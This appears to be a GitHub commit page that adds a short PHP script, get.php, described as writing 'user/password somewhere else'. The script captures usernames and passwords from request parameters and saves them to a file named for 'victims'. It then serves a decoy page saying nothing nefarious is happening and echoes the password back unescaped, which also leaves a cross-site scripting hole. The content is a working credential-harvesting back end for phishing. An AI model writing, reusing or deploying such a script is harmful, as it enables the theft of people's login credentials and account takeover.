Skip to content

Commit

Permalink
server side script for writing user/password somewhere else
Browse files Browse the repository at this point in the history
  • Loading branch information
the-sides committed Jan 29, 2020
1 parent 96bcf25 commit bb67bce
Showing 1 changed file with 24 additions and 0 deletions.
24 changes: 24 additions & 0 deletions get.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,24 @@
<?php
$victimFile = fopen("whattaChump.txt", "w");
fwrite($victimFile, $_GET['user']);
fwrite($victimFile,':');
fwrite($victimFile, $_GET['password']);
fclose($victimFile);
echo "
<style>
html, body{width: 100%; height: 100%;}
body{
background: black;
}
p{
color: white;
}
</style>
";
echo "<div>";
echo "<p> Nothing nepharious going on here... </p>";
echo "<p style='color:transparent'>";
echo $_GET['password'];
echo "</p>";
echo "</div>";
?>

0 comments on commit bb67bce

Please sign in to comment.